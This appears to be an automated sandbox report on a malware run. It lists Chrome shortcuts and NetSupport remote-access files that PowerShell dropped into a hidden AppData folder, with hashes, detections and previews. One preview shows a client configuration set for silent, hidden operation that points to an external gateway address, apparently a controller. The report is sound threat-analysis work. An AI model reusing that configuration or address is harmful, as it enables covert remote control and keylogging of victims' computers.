Size (bytes):	2673
Entropy (8bit):	3.9791573052758777
Encrypted:	false
SSDEEP:	48:8nKXdiTu6SAH+idAKZdA1FehwiZUklqehRy+3:8ndrSl+y
MD5:	A7078C529B164AD11749239213F5300B
SHA1:	7DB644D9642CF502BB62E864D05D1E53976BF442
SHA-256:	7226CEAC76363B8644C247699E6F399BEEA0C43CBEC5FB48B203CBEF7C1584AA
SHA-512:	07BEA185CA438A5331496EC7A7615F3D61194B88EF204F1E1C21E9AF90E6C80B39B0267220B5DD3D761609AB53B3A41FC18997DF0963711A73464944F47C77FF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........i)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........67e......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 17:45:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.995902864324656
Encrypted:	false
SSDEEP:	48:8HFXdiTu6SAH+idAKZdA1seh/iZUkAQkqehuy+2:8H+rS79Qzy
MD5:	0D22629B6E8E308635DC3232AB865F2F
SHA1:	418943C0635EBFF72D058F6EE7D53F069B38CAC6
SHA-256:	60FB8C86CD3E936D4501DB100EB5D34080B54077F1D38E328C1EC0354D11398B
SHA-512:	4219879BAE9FD68B70936970C75361B031BA99897EFC3CBA9402E90A00DC388434CC90340285C159829FAFCA8503CEA6C088A8FA507655A2F017F9245A624B1A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........i)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........67e......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.003723006029388
Encrypted:	false
SSDEEP:	48:86XdiTu6AH+idAKZdA14meh7sFiZUkmgqeh7sYy+BX:8Nrvnqy
MD5:	CABEE07B70231FA7507182A8497EBFDB
SHA1:	6D64B4C5E024A4748CF2AF80B8F1A5623E6800FF
SHA-256:	7E7126D0180DC4373996A27B00426B733656B2DEE8E5F65F704A17CDA66E9490
SHA-512:	EA7612B5847345ACA2B8867F1CC425FFD7B4E035EA66F19A3BCD6BA97E6CABE10A6F99157E7254A1D0BC0A0723F70923CC776CA6F733869848325FBFB16F4FD0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........67e......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 17:45:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992674802425967
Encrypted:	false
SSDEEP:	48:8GXdiTu6SAH+idAKZdA1TehDiZUkwqehCy+R:8RrSoQy
MD5:	8FC571BDCCDE0E20859052D765A17872
SHA1:	D99D2AB6EF3C3D0E719B88BB97DEE06816E92590
SHA-256:	7BE1A66EAC1D9BAAC0441BDCA8530ED57D35A89A4066FAB3BCC019446659E58F
SHA-512:	A72DD43FA39CF4BEC3D8B71E75C68833F9659C09AD6730484F8A4E6490662232BD69B7B0E0E65091064DFEB0F2A1905D6573185A226289A52E95D067DF0D9AB1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....."..i)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........67e......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 17:45:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.982302607280827
Encrypted:	false
SSDEEP:	48:8FXdiTu6SAH+idAKZdA1dehBiZUk1W1qehEy+C:8+rSY9ky
MD5:	7659E7DEFF411F30E7B2DC54D6332368
SHA1:	3F1155099BBD6B14C3CD4D245412513D799AE082
SHA-256:	E3C3C78D78F406BCF5FDA6A93319A82ABF50FB6DC01C2777C91EA279E0F9432C
SHA-512:	0375A1CA7F3A339DC0DACF1AB14B8C2E1B721795D87B4BB2D6893D3618D93E050585C072B8F1B3904D96B8FBE2C54DD3BE2C6860152F0521C6F91B5EDF03D113
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........i)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........67e......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 17:45:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991232123413837
Encrypted:	false
SSDEEP:	48:8TiXdiTu6SAH+idAKZdA1duTeehOuTbbiZUk5OjqehOuTbqy+yT+:8TlrSqTfTbxWOvTbqy7T
MD5:	C4C9639DC5A380A21BFF0F381755DEA4
SHA1:	07EF594A7E2C27CBCA512C15F1C5B0038EC5E04A
SHA-256:	57683A063070B5EDA9561C0EF3F4BA8E8819102E74A14A13FFFB12649B839146
SHA-512:	2D60AFC0202B158B13F7C0F1DD6743354F11E3222BC6CAF76BC0D7FA9C03BB8C7353C0027BDC9509570C14195590B20105BFBF15D842D1CEF750962BF6C5F340
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......i)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........67e......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\NSM.LIC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.119720931145611
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1lDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wx6JjjqW2MePBPM/ioU8l6J
MD5:	7067AF414215EE4C50BFCD3EA43C84F0
SHA1:	C331D410672477844A4CA87F43A14E643C863AF9
SHA-256:	2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12
SHA-512:	17B888087192BCEA9F56128D0950423B1807E294D1C4F953D1BF0F5BD08E5F8E35AFEEE584EBF9233BFC44E0723DB3661911415798159AC118C8A42AAF0B902F
Malicious:	true
Reputation:	low
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\bpsFyf\NSM.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	low
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120288
Entropy (8bit):	5.258428134726746
Encrypted:	false
SSDEEP:	768:zfVZl6FhWr80/SqUr2pe/3NPHDHf/ckvKoGr2pe/kCHDHf/ckPG:z70hGaq0ee/3hjHTIee/djHC
MD5:	EE75B57B9300AAB96530503BFAE8A2F2
SHA1:	98DD757E1C1FA8B5605BDA892AA0B82EBEFA1F07
SHA-256:	06A0A243811E9C4738A9D413597659CA8D07B00F640B74ADC9CB351C179B3268
SHA-512:	660259BB0FD317C7FB76505DA8CBC477E146615FEC10E02779CD4F527AEB00CAED833AF72F90B128BB62F10326209125E809712D9ACB41017E503126E5F85673
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.g.W.g.W.g.^...U.g.8...T.g.W.f.R.g.8..V.g.8...V.g.8...V.g.RichW.g.........PE..L...1.oe.....................r...... ........ ....@..................................b....@.................................< ..<....0..Hm...........x...].......... ............................................... ...............................text............................... ..`.rdata..^.... ......................@..@.rsrc...Hm...0...n..................@..@.reloc..l............v..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\client32.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	5.603856649376801
Encrypted:	false
SSDEEP:	12:F1xS2lMfGShR8kkiBlsVTXuZ7/P981E7GXXfDWQCYublu+vQv4FASv4pv4i:bI2MNR8piBlLI1fXXfD/uAv4FASv4pv7
MD5:	8C978A6D8F380D59C9DB4AFE06218B89
SHA1:	1FA286E91C8AA0EEB99276AF72D40E02D2148C51
SHA-256:	D8C2B28FF9F90626F7E669B4FBDB45ED553A3CB1A980E23FDFEA4FBBDDDFC502
SHA-512:	B74539AE7FC88756C1E1404814D33197CD8709AADDF2C43167F2CF157E947C2CABAD759414038DBE5E83B201786052E94AB53BD97BB4DE68744F514F8AE7F552
Malicious:	false
Reputation:	low
Preview:	0xe755af83....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableCloseApps=0..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcA..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=0..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=92.255.85.135:443..gsk=GL:M@AEOHD<K?ACIGO:B=H@JBOGE..gskmode=0..GSK=GL:M@AEOHD<K?ACIGO:B=H@JBOGE..GSKX=GL:M@AEOHD<K?ACIGO:B=H@JBOGE..

C:\Users\user\AppData\Roaming\bpsFyf\msvcr100.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\nskbfltr.inf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	low
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
